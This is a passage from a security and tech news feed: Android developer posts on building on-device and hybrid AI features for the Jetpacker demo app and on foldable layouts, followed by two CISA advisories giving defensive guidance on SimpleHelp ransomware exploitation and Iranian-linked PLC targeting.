With the new agent integration, you move directly from issue identification to resolution. By clicking Fix with AI, the agent will analyze the issue, propose a step-by-step fix plan, and—upon your approval—apply the necessary code changes directly to your project and verify the resulting fix

The Fix with AI button triggering the agent to analyze the issue, then propose the fix

Quality & stability improvements

Beyond new features, we’ve continued our focus on quality by addressing numerous bugs and incorporating the latest stability and performance improvements from the IntelliJ platform, making this a significant enhancement for your daily development.

Get Started

Ready to dive in and accelerate your development? Download Android Studio Quail 2 and start exploring these new features today! As always, your feedback is crucial to us. Check known issues, report bugs, and be part of our vibrant community on LinkedIn, Medium, YouTube, or X. 

]]> <![CDATA[Build intelligent Android apps: Introduction to Jetpacker]]> https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/ https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/ Sat, 25 Jul 2026 10:15:26 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Jolanda Verhoef, Senior Developer Relations Engineer, Android Developer Relations


Building GenAI features in your app usually means navigating through various models, APIs and architecture choices: 

  • Execution location: Where does your model run? On device, in the cloud, or both?
  • Complexity: How complex is your setup? Are you doing a single inference call or do you need a more agentic flow?
  • In-app or Android System: Should your feature be built into your Android app or does it fit better as an Android system integration?

In this blog post series we'll navigate these choices with you. We will take you along on a journey, starting with a basic mobile app and transforming it into a personalized, intelligent, and agentic experience.

Jetpacker: a demo travel app

Jetpacker is a technical showcase app that our team built from the ground up for this year's Google I/O (built using Antigravity). At its core, Jetpacker helps users plan, explore, and enjoy their next big adventure. It shows an overview of your trips, the itinerary of each trip, and details of each event on that trip. Of course following all best practices of Android development, including a beautifully expressive Material UI design.

And best of all? It's fully open source!

Today we are publishing a series of technical blog posts diving deep into each of these features. We’ll provide detailed implementation steps, code snippets, and architectural insights to help you build your own intelligent Android applications.

On-device intelligence

On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes

Using an on-device model comes with no additional cloud inference costs, means you don't have to worry about internet connectivity, and lets users be confident that private information will be processed locally, on the device, without any of their data being sent to the cloud.

In Jetpacker, we chose on-device inference for three of our features:

  • The trip overview feature transforms a messy, multi-day itinerary into a concise, actionable summary. It leverages Gemini Nano through the ML Kit GenAI APIs to process data locally on the device. We consider this a nice-to-have feature where we don't want to incur extra cloud costs, making on-device inference the right choice.
  • The expense tracker automatically extracts structured data from receipt images to help users track their travel spending. It uses the multimodal capabilities of Gemini Nano 4 through the ML Kit GenAI APIs. We choose an on-device solution so that any privacy-sensitive information on the receipt images never leaves the user's device.
  • The audio diary records, transcribes, and categorizes voice notes into relevant trip activities. It is powered by the ML Kit Speech Recognition and GenAI Prompt APIs. We chose an on-device solution for privacy and connectivity reasons.

Cloud & hybrid inference













Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and hotel support chat featuring custom-routed live translation.

Sometimes your use-case requires AI models with greater world knowledge or a much larger context window and with greater ability in handling complex tasks. In that case, we can switch from running an on-device model to using a cloud model instead.

Or, if you want to get the best of both worlds, you can use hybrid inference to dynamically choose either a cloud or on-device model at runtime. This allows us to lower costs by moving inference to the device when it is available, but at the same time support all Android devices running the app.

In Jetpacker, we implemented several features using cloud or hybrid inference:

  • The place Q&A feature answers user questions about specific locations by grounding responses in real-world data. It uses Firebase AI Logic integrated with Google Maps and web context. Using a cloud model is necessary here for its greater world knowledge.
  • The review drafting feature helps users compose detailed reviews for the places they have visited. It leverages both on-device and cloud models through Firebase AI Logic's new Hybrid inference API. This is a feature we wanted to make available to all app users, so we're using a cloud model as a fallback when an on-device model is unavailable.
  • The automatic chat translation dynamically translates chat messages in real time to facilitate seamless communication, demonstrating custom hybrid inference logic. Again, we want this feature to be available to all app users, but at the same time have some specific considerations on when to choose on-device versus cloud.

System integration

While not a feature you see in the app itself, the Android system integration opens up the app's core capabilities directly to the Android operating system. It uses the AppFunctions API to integrate with system-level intelligence.

In-app agentic workflows (coming soon!)

The booking assistant shows several in-progress flight bookings, asking the user for input before making a final booking.

Agenticness introduces a higher level of autonomy, enabling models to act as agents. Instead of a single inference call, an agent works towards a specific goal via an orchestration loop that allows it to reason, use tools, and adapt its path. Depending on your requirements, these intelligent agents can run either in the cloud, directly on-device, or in a hybrid setup.

For Jetpacker we added a booking assistant that automates end-to-end booking workflows directly within the application to streamline reservations. It is built using A2UI and ADK running in the cloud. The Android app functions as a front-end to the multi-agentic system running in the cloud.

Learn more

Check out the other parts of this blog post series:

Part 1 (this post!): Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

]]> <![CDATA[Build intelligent Android apps: On-device inference]]> https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/ https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/ Sat, 25 Jul 2026 10:15:25 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Caren Chang, Developer Relations Engineer, Android Developer Relations



Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we introduced Jetpacker, the demo app we'll use throughout this series.

In this blog post, we will share how you can use Gemini Nano through ML Kit’s Prompt API to build intelligent on-device features.

Building intelligent on-device features refers to the ability to process prompts and data directly on a device without sending data to a server. This offers a few advantages:

  • User data can be processed locally on the device, preserving user privacy
  • Functionality of the model is reliable even with spotty or no internet connection
  • No additional cloud inference cost, since everything runs on the user’s hardware

With the benefits of on-device in mind, we identified three features to add in Jetpacker that can improve the user experience: summarizing trip itineraries, managing expenses, and capturing voice notes.

On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes

High quality tailored summarization of short texts

The itinerary screen gives users a quick overview of all activities for a given trip. Since this screen contains a lot of information, it can quickly become overwhelming. To help users prepare without feeling overwhelmed, we can add a ‘Get ready for your trip’ section at the top.

The romantic Paris trip is summarized as a classic Parisian adventure blending art, sights, and delicious food. A tip and some useful phrases are also added.

By inputting a trip itinerary and asking an LLM to summarize it, we can generate a quick summary of the trip along with packing tips and useful local phrases. This is a great use case for an on-device model for several reasons:

  • Performance and quality: Both the input and output text are relatively short. With that, we can expect the performance and quality of an on-device solution to be on par with more powerful cloud models.
  • Scalability: Shifting inference on-device allows us to scale this feature from a few users to millions without worrying about managing increasing cloud inference costs.
  • Low latency and reliability: On-device inference guarantees low latency, providing a reliable experience even when users are offline.

To build with on-device, we use Gemini Nano, Google’s most efficient model optimized for mobile devices. Gemini Nano was first introduced a few years ago, and is now running on over 140 million devices. The latest version of the model, Gemini Nano 4, is built on the architecture foundation of the recently released Gemma 4 model, and is further optimized for maximum battery and performance efficiency.

Using ML Kit’s Prompt API, we can take advantage of Gemini Nano 4’s new model capabilities to prototype our on-device features. We’ll create a prompt that includes the itinerary of a trip and ask the model to generate a summary along with any preparation tips.

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3") 

// Define the configuration for Gemini Nano 4 E2B preview model
val previewFastConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FAST
    }
}

val geminiNano2BPreviewModel = Generation.getClient(previewFastConfig)

val tripItinerary = ...

val getReadyForYourTripSummary = geminiNano2BPreviewModel
 .generateContent("Given this trip itinerary: $tripItinerary, 
     generate the following: overall vibe, tips on how to prepare for this
     trip, and common short phrases to learn for the trip.")

Finding the optimal prompt usually requires some iteration, and the AICore app is perfect for this step in the process. After opting into the developer preview option for AICore, we can download preview models such as Gemini Nano 4 to test prompts and see the model’s expected outputs. With a few iterations on the prompt, we were able to improve the speed of the response from 13 seconds to under 2 seconds! Check out the final code implementation and prompt here.

The first iteration of our prompt generated way too many tokens, and optimizing it helped keep responses quick and to the point.

Local processing for sensitive user input

Next, to help users enjoy their trip even more, we’ll build a simple expense manager that takes the manual work out of sorting through receipts and calculating budgets.


Taking a photo of a restaurant bill, data is parsed and shown in the expense overview screen of the app.

Since receipts might contain sensitive information like credit card number and addresses, this is another great use case for an on-device solution. With on-device, users can be confident that private information will be processed locally on the device without any of their data being sent to the cloud.

In addition, Gemini Nano 4 has improved model capabilities for multimodality, especially for image understanding tasks like OCR and visual data extraction, making it a great solution for tasks like extracting information from receipts.

For this use case, the prompt will analyze an image of the receipt, and output information such as: a generated title, amount spent and category of the expense. To ensure the model outputs the information in the preferred format, we can use ML Kit’s Structured Output API to seamlessly output a Kotlin data object that we define.

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// ksp("com.google.mlkit:genai-schema-compiler:1.0.0-alpha1")

@Generable("Information extracted from an expense receipt")
data class ParsedReceipt(
  @Guide("Generated title for the expense less than 6 words. Based on restaurant or activity name.")
  val title: String,
  @Guide("Total amount of the expense. Look for values at the bottom and words like total or balance due.")
  val amount: Double,
  @Guide("Type of expense", enumValues = ["travel", "food", "shopping", "entertainment", "other"])
  val category: String,
)

val prompt = "Determine if the image is a receipt or expense. 
    If it is NOT a receipt or expense, output the text 'NOT_A_RECEIPT'.
    Otherwise, parse the receipt information."

val request = generateContentRequest(ImagePart(bitmap), TextPart(prompt)) {}
val requestWithStructuredOutput = generateTypedContentRequest(request, ParsedReceipt::class)

// Define the configuration for Gemini Nano 4 E4B preview model  
// When selecting models, you can specify which performance charactertists are most important
//  for your use case. Use ModelPreference.FULL when you want to prioritize reasoning power over speed. 
//  Use ModelPreference.FAST when complex logic is not required and latency is a priority.
val previewFullConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FULL
    }
}

val geminiNano4BPreviewModel = Generation.getClient(previewFullConfig)
val response = geminiNano4BPreviewModel.generateContent(requestWithStructuredOutput)
val parsedReceipt: ParsedReceipt? = response.candidates.firstOrNull()?.response

Multimodal input

Lastly, to help users record audio memos during the trip, let’s build a fully on-device voice notes feature. Using ML Kit’s Speech Recognition API, we’ll enable users to record short voice notes that are automatically transcribed to text. With the transcribed text, we’ll use ML Kit’s Prompt API to identify which trip activity is associated with the recorded voice note, letting users easily recap their trip as they scroll through the trip’s itinerary.

The Roman holiday itinerary shows voice note extracts.

The ML Kit GenAI Speech Recognition API allows you to transcribe audio content to text fully on-device using two distinct modes. Basic mode uses a traditional on-device speech recognition model and is available on most Android devices with API level 31 and higher. Advanced mode uses Gemini Nano to offer broader language coverage and better quality, and is currently supported on Pixel 10 devices.

For our feature we combine the Speech Recognition API with the ML Kit GenAI Prompt API:

// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// implementation("com.google.mlkit:genai-speech-recognition:1.0.0-alpha1")

val tripEvents = ... 

// Set up speech recognition
val speechRecognizerOptions =
    speechRecognizerOptions {
        locale = Locale.US
        preferredMode = SpeechRecognizerOptions.Mode.MODE_ADVANCED
    }
val speechRecognizer: SpeechRecognizer = SpeechRecognition.getClient(speechRecognizerOptions)

suspend fun transcribeVoiceNote(recognizer: SpeechRecognizer) {
    // Display partial text as the user is recording audio
    var partialTextResponse = ""

    // Display the full text once user is finished recording audio
    var transcription = ""

    val request: SpeechRecognizerRequest
        = speechRecognizerRequest { audioSource = AudioSource.fromMic() }
    recognizer.startRecognition(request).collect { response ->
        when (response) {
            is SpeechRecognizerResponse.PartialTextResponse -> {
                partialTextResponse = response.text
            }
            is SpeechRecognizerResponse.FinalTextResponse -> {
                transcription = response.text
                processAndCategorizeVoiceNote(transcription, tripEvents)
            }
        }
    }
}

fun processAndCategorizeVoiceNote(transcribedVoiceNote: String, events: List) {
    val prompt = "Given the voice note $transcribedVoiceNote
     and the following events for this trip: $events, rewrite this transcription
     to remove filler words. Then, identify which events from the
     list this rewritten transcription matches to."

     // Utilize ML Kit's Prompt API to process voice note and tag it with the relevant trip activities
     Generation.getClient().generateContent(prompt)
}

Conclusion

Using ML Kit’s GenAI APIs, we were able to take advantage of Gemini Nano to develop fully on-device intelligent features for the JetPacker app, and provide an improved user experience without any additional cloud costs.

Check out the full source code for Jetpacker on Github, and watch the video Build Intelligent Android apps with Google’s AI to learn more about how to integrate intelligent features directly into your app using on-device models, cloud-powered reasoning, and the latest agentic frameworks.

Learn more

Check out the other parts of this blog post series:

Part 1: Introduction of the app and a high-level overview.
Part 2 (this post!): On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

]]> <![CDATA[Optimize your apps for the next generation of Samsung Galaxy devices]]> https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/ https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/ Sat, 25 Jul 2026 10:15:16 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer Experience



Today at Galaxy Unpacked, Samsung unveiled its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, and device postures your app needs to support is expanding once again.

With devices like the Galaxy Z Fold8, the ecosystem is expanding to include hardware with a landscape-first natural orientation and a wider aspect ratio in its main display state. Whether a user is unfolding a large display, flipping open a cover screen, or glancing at their wrist, users expect a flawless experience. To help you meet this moment, we’re sharing actionable guidance and new tooling updates to enable you to build adaptively proactively.

Rethink layout architecture for dynamic displays, including ultra-wide foldables

Building for the latest foldables means dropping assumptions about display orientation and size. This is especially true for the Galaxy Z Fold8, which adopts an ultra-wide display, adding to the variety of aspect ratios to account for.  Devices with this landscape-first natural orientation show the limitations of hardcoded layout rules when users unfold the device. That’s why we’ve introduced dedicated guidance for building for landscape foldables and trifolds.


To build a responsive UI that handles these physics seamlessly, focus on the following core pillars:

  • Build fluid, adaptive layouts: Wide aspect ratios and compact vertical heights require fluid UIs that scale responsively. Our updated adaptive design guidance advises considering the window class width first to determine layout changes, then adjusting for height. To let individual components fluidly adapt to the grid, structure your layout using flexible containers that allow your content to automatically wrap, span, and reflow. For design inspiration browse our adaptive sample app and dual-screen design galleries.
  • Track actual app space: Your app's display space rarely matches the physical device size, especially on an ultra-wide screen during multi-window, split-screen, or multitasking states. Sometimes even the orientations differ. Leverage Window Size Classes using the Jetpack Window Manager library to calculate the exact space your app occupies.


  • Leverage the latest Jetpack Compose Update: Start by adopting the stable Jetpack Compose April '26 release (Compose BOM version 2026.04.01).Take advantage of the new structural layout tools to manage complex architectures. The new Grid API allows you to define dynamic tracks and column spans without the performance overhead of a lazy list. Pair Grid with the new FlexBox layout API to easily handle multi-axis alignment and dynamic item wrapping. You can also use the new MediaQuery API to adapt your UI to its environment, using conditions to detect signals like device posture, window size, and keyboard types. 
  • Make your app fold aware: Use the Jetpack WindowManager library, which provides an API surface for foldable device window features such as folds and hinges. When your app is fold aware, it can adapt its layout to avoid placing important content in the area of folds or hinges and use folds and hinges as natural separators.
  • Maintain app continuity: Avoid breaking the user journey when the device configuration shifts. Retain your UI state using ViewModel to ensure smooth transitions when a user folds or unfolds their device.

Ensure seamless camera capture on foldable devices

Camera implementation on foldables brings unique hardware quirks. Moving from a compact outer display to an expanded inner display introduces distinct layout aspect ratios while device rotation remains unchanged. If an app assumes a fixed portrait relationship between the camera sensor and the device layout, the app will likely suffer from sideways, stretched, or cropped previews during these folding transitions.
 
When optimizing your app's media pipeline, migrate your capture experiences to CameraX using the CameraX migration skill. The library’s PreviewView automatically handles sensor orientation, device rotation, and scaling behind the scenes. This guarantees a clean, stable preview regardless of how the user holds or positions the device. If you are maintaining an existing Camera2 codebase, integrate the CameraViewfinder library to apply these complex aspect ratio and rotation transformations automatically without needing a total architecture overhaul.

Extend glanceable interactions to Wear OS 7

The opportunity to build for this new generation of devices extends right to the wrist. Launching with Wear OS 7, Wear Widgets give you a fresh surface to provide users with instant, glanceable access to their essential updates. You can build these highly expressive experiences using Jetpack Glance and RemoteCompose. Crucially, Widgets built with this framework can now populate multi-widget tiles that were previously reserved for first-party widgets. 

Build intelligent features 

Gemini intelligence already completes tasks on users’ behalf, and you can experiment with the intelligence system by sharing your apps capabilities. 

Samsung’s new foldable devices come with Gemini Nano 4, our latest on-device model. Nano 4 provides support for over 140 languages, better multimodal understanding, and much more. Use ML Kit’s Prompt API with advanced features like structured output and thinking mode to build intelligent features on-device. 

Start optimizing today

The tools and frameworks are ready to help you optimize your app for all screen sizes. Begin by exploring our guidance for building adaptive apps to learn more about core adaptive design principles. 

To dive deeper, check out our comprehensive YouTube playlist. Finally, ensure your app delivers a flawless, premium experience on the newest form factors by reviewing our dedicated quality guidelines for trifolds and landscape foldables and WearOS. 

Unfold the future today! 
]]> <![CDATA[Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider]]> https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/ https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/ Sat, 25 Jul 2026 09:19:52 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.

SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including CVE-2024-57727—a path traversal vulnerability.1 Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.1 

CISA added CVE-2024-57727 to its Known Exploited Vulnerabilities (KEV) Catalog on Feb. 13, 2025.

CISA urges software vendors, downstream customers, and end users to immediately implement the Mitigations listed in this advisory based on confirmed compromise or risk of compromise.

Download the PDF version of this report:

AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider (PDF, 420.49 KB )

Mitigations

CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

Vulnerable Third-Party Vendors

If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file <file_path>/SimpleHelp/configuration/serverconfig.xml. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:

  1. Isolate the SimpleHelp server instance from the internet or stop the server process.
  2. Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.2
  3. Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.

Vulnerable Downstream Customers and End Users

Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.

SimpleHelp Endpoints

Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:

  • Windows: %APPDATA%\JWrapper-Remote Access
  • Linux: /opt/JWrapper-Remote Access
  • MacOs: /Library/Application Support/JWrapper-Remote Access

If RAS installation is present and running, open the serviceconfig.xml file in <file_path>/JWrapper-Remote Access/JWAppsSharedConfig/ to determine if the registered service is vulnerable. The lines starting with <ConnectTo indicate the server addresses where the service is registered.

SimpleHelp Server

Determine the version of any SimpleHelp server by performing an HTTP query against it. Add /allversions (e.g., https://simple-help.com/allversions) to query the URL for the version page. This page will list the running version.

If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. Note: This is not an exhaustive list of indicators of compromise.

  1.  Refer to SimpleHelp’s guidance to determine compromise and next steps.3
  2. Isolate the SimpleHelp server instance from the internet or stop the server process.
  3. Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., aaa.exe, bbb.exe, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.
  4. Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.4

If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.

Encrypted Downstream Customers and End Users

If a system has been encrypted by ransomware:

  1. Disconnect the affected system from the internet.
  2. Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.
  3. Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.

CISA urges you to promptly report ransomware incidents to a local FBI Field Office, FBI’s Internet Crime Compliant Center (IC3), and CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA).

Proactive Mitigations to Reduce Risk

To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:

  • Maintain a robust asset inventory and hardware list [CPG 1.A].
  • Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [CPG 2.R].
  • Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [CPG 2.W].
  • Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.
  • Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.
  • For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.
    • An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s SBOM page.

Resources

Reporting

Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.

FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.

CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).

SimpleHelp users or vendors can contact support@simple-help.com for assistance with queries or concerns.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.

Version History

June 12, 2025: Initial version.

Notes

1. Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” Sophos News, May 27, 2025, https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/.
2. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.
3. To determine possibility of compromise and next steps, see SimpleHelp’s guidance.
4. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.

]]> <![CDATA[Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure]]> https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/ https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/ Sat, 25 Jul 2026 09:12:34 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Advisory at a Glance
Title Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
Original Publication April 7, 2026
Last Update  July 22, 2026
Executive Summary The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.
Last Update Description This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.
Affected Products Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.
Key Actions
  • Install PLCs consistent with manufacturers' guidelines and security best practices.
  • Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.
  • Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including 44818, 2222, 102, and 502, especially traffic originating from foreign hosting providers.
  • For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.
Indicators of Compromise

For a downloadable copy of July 22, 2026 IOCs, see:

For a downloadable copy of historical April 7, 2026 IOCs, see:
Intended Audience

Organizations: Critical Infrastructure

Sectors: Government Services and Facilities, Water and Wastewater Systems (WWS), and Energy 

Roles: Integrators, asset owners, defensive cybersecurity analysts, OT cybersecurity engineers, cybersecurity architects, secure systems developer

Introduction

Note: This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files1 and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.

The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including Government Services and Facilities (to include local municipalities), Water and Wastewater Systems (WWS), and Energy Sectors. The authoring agencies previously reported on similar activity targeting PLCs by CyberAv3ngers (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).

Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the Mitigations section of this advisory to reduce the risk of compromise.

If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see Contact Information) to receive support, mitigation, and investigation assistance.

For more information on Iranian malicious cyber activity, see CISA’s Iran Threat Overview and Advisories webpage and the FBI’s Iran Threat and Iran Cyber Threat Overview webpages.

Download the PDF version of this report:

Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure (PDF, 1.09 MB )

(New, July 22, 2026) For a downloadable copy of July 22, 2026 IOCs, see:

